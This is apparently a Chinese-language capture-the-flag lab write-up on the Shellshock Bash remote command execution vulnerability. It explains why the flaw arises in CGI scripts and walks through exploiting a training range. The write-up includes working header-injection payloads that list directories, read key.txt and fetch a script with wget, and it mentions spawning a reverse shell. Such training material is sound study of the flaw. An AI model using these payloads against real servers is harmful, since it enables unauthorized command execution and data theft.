实训目标
1.了解bash;
Bash(GNU Bourne-Again Shell)是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。和其他Unix shell 一样,它支持文件名替换(通配符匹配)、管道、here文档、命令替换、变量,以及条件判断和循环遍历的结构控制语句。包括关键字、语法在内的基本特性全部是从sh借鉴过来的。其他特性,例如历史命令,是从csh和ksh借鉴而来。总的来说,Bash虽然是一个满足POSIX规范的shell,但有很多扩展。
2.了解Bash远程命令执行漏洞形成原因;
Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令,在一些cgi脚本中,数据是通过环境变量来传递的,这样就会形成该漏洞。
3.了解Bash远程命令执行漏洞利用方法;
Bash通过以函数名作为环境变量名,以“(){”(bash只有在遇到特殊的环境变量才会触发该漏洞)开头的字串作为环境变量的值来将函数定义导出为环境变量。而该漏洞就在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。 比如:(){:;};wget http://127.0.0.1/test.sh 服务器在处理这个请求的时候,会执行wget命令,就会把这个test.sh下载下来
漏洞复现
1.首先在墨者学院花一毛钱买一个靶场环境。
2.点击访问,是一个网页界面。
3.查看一下banner信息,操作系统为Ubuntu,web服务器为Apache,其他的就看不出什么端倪了。
4.根据墨者学院的提示,进行后台扫描,找有关cgi的文件,访问有cgi的页面
http://219.153.49.228:41629/cgi-bin/poc.cgi
即可看到如下信息。
5.现在打开bp进行抓包(进行远程执行命令)
6.放到repeater里面修改UA或者connection的参数为:() { :;}; echo; /bin/ls / ,可以看到目录。
"/bin/ls /"是调用ls查看所有文件
7.可以看到响应包右边里有一个key.txt
8.看一看key.txt里面的内容
() { :;}; echo; /bin/cat /key.txt
成功拿到flag
总结
1.bash漏洞利用的版本号为4.3或更早的版本。产生漏洞的原因是在bash解析shell环境变量时,如果构造了特殊的值,比如说:(){。BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
2.cgi脚本就是用来执行bash脚本的,所以一定要找到一个cgi文本。
3.环境变量可以是user-agent或者connection,也可以直接用curl来创建一个环境变量,使用curl工具,以及反弹一个bash shell 。
参考链接:https://www.jianshu.com/p/82eb5b8299a1